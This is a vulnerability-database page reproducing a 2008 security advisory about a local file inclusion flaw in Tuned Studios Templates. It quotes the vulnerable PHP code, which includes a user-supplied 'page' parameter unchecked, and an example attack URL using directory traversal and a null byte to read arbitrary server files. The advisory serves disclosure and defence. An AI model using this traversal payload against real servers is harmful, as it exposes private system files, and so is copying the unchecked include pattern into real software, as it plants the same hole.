Lucene search
+L

Tuned Studios Templates - Local File Inclusion

🗓️ 09 Jan 2008 00:00:00Reported by DSecRGType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

Tuned Studios Templates Local File Inclusion vulnerability in page phpversion/index.php, affecting all versions

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2008-0231
11 Jan 200800:00
cve
cvelist
Cvelist
CVE-2008-0231
11 Jan 200800:00
cvelist
euvd
EUVD
EUVD-2008-0243
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-0231
11 Jan 200800:46
nvd
prion
Prion
Directory traversal
11 Jan 200800:46
prion
Digital Security Research Group [DSecRG] Advisory       #DSECRG08-001


Application:                    Tuned Studios Templates
Versions Affected:              All
Vendor URL:                     http:/www.tunedstudios.com
Bug:                            Local File Include
Exploits:                       YES
Reported:                       09.01.2008
Date of Public Advisory:        09.01.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Tuned Studios Templates has Local File Include vulnerability in page phpversion/index.php


Details
*******

Tuned Studios has many templates based on same php code.

Code
****

############################################
 //First check if $page exists
  //With the introduction of PHP 5 we have to capture the $page from the url.
  $page = $_GET['page'];

  if(isset($page) && $page != '')
  {
      //Check if the page $page exists
      if(file_exists($page.'.php'))
      {
           //Now we can include the page.
           include($page.'.php');
      }
      else
      {
           //Page can't be found, include the error file
           include('data/error404.data.php');
      }
  }
############################################

Example:

http://[server]/[installdir]/index.php?page=../../../../../../../[file]%00

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-01-09]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation